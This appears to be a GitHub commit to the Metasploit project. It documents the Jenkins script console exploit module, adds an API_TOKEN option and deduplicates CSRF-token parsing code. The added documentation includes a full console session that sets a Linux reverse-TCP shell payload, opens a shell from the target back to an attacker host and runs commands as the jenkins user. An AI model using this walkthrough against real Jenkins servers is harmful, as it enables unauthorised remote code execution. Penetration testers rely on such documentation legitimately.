Skip to content

Commit 58cd432

Browse files
committed
Added docs, minor code tweak to remove duplication.
1 parent 49d998f commit 58cd432

File tree

2 files changed

+47
-5
lines changed

2 files changed

+47
-5
lines changed

documentation/modules/exploit/multi/http/jenkins_script_console.md

Lines changed: 46 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,13 @@
3636

3737
A password to an account that has access to the script console. This is only
3838
necessary if the Jenkins instance has been configured to require
39-
authentication.
39+
authentication and you aren't using an API_TOKEN (see below).
40+
41+
**API_TOKEN**
42+
43+
An API token to an account that has access to the script console. This is only
44+
necessary if the Jenkins instance has been configured to require
45+
authentication and you aren't using a PASSWORD (see above).
4046

4147
## Scenarios
4248

@@ -128,3 +134,42 @@
128134
meterpreter >
129135
130136
```
137+
138+
Example usage against a Linux x64 bit target running Jenkins 2.46.3.
139+
140+
```
141+
msf > use exploit/multi/http/jenkins_script_console
142+
msf exploit(jenkins_script_console) > set RHOST 172.17.0.1
143+
RHOST => 172.17.0.1
144+
msf exploit(jenkins_script_console) > set RPORT 8080
145+
RPORT => 8080
146+
msf exploit(jenkins_script_console) > set TARGETURI /
147+
TARGETURI => /
148+
msf exploit(jenkins_script_console) > set USERNAME admin
149+
USERNAME => admin
150+
msf exploit(jenkins_script_console) > set API_TOKEN 24e0b80d009ed12590ff85866d88c00d
151+
API_TOKEN => 24e0b80d009ed12590ff85866d88c00d
152+
msf exploit(jenkins_script_console) > set TARGET 1
153+
TARGET => 1
154+
msf exploit(jenkins_script_console) > set PAYLOAD linux/x86/shell/reverse_tcp
155+
PAYLOAD => linux/x86/shell/reverse_tcp
156+
msf exploit(jenkins_script_console) > set LHOST 10.0.2.4
157+
LHOST => 10.0.2.4
158+
msf exploit(jenkins_script_console) > exploit
159+
160+
[*] Started reverse TCP handler on 10.0.2.4:4444
161+
[*] Checking access to the script console
162+
[*] Authenticating with token...
163+
[*] Using CSRF token: 'd41639a6f5721760a8ee3df5d6a71eec' (Jenkins-Crumb style)
164+
[*] 172.17.0.1:8080 - Sending Linux stager...
165+
[*] Sending stage (36 bytes) to 172.17.0.2
166+
[*] Command shell session 1 opened (10.0.2.4:4444 -> 172.17.0.2:53962) at 2017-06-19 16:55:42 -0500
167+
[!] Deleting /tmp/AsqL5Pg payload file
168+
169+
whoami
170+
jenkins
171+
id
172+
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
173+
uname -a
174+
Linux b4b4e715101e 4.4.0-79-generic #100-Ubuntu SMP Wed May 17 19:58:14 UTC 2017 x86_64 GNU/Linux
175+
```

modules/exploits/multi/http/jenkins_script_console.rb

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -193,10 +193,7 @@ def exploit
193193
if res.body =~ /"\.crumb", "([a-z0-9]*)"/
194194
print_status("Using CSRF token: '#{$1}' (.crumb style)")
195195
@crumb = {:name => '.crumb', :value => $1}
196-
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
197-
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
198-
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
199-
elsif res.body =~ /"crumb":"([a-z0-9]*)"/
196+
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
200197
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
201198
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
202199
end

0 commit comments

Comments
 (0)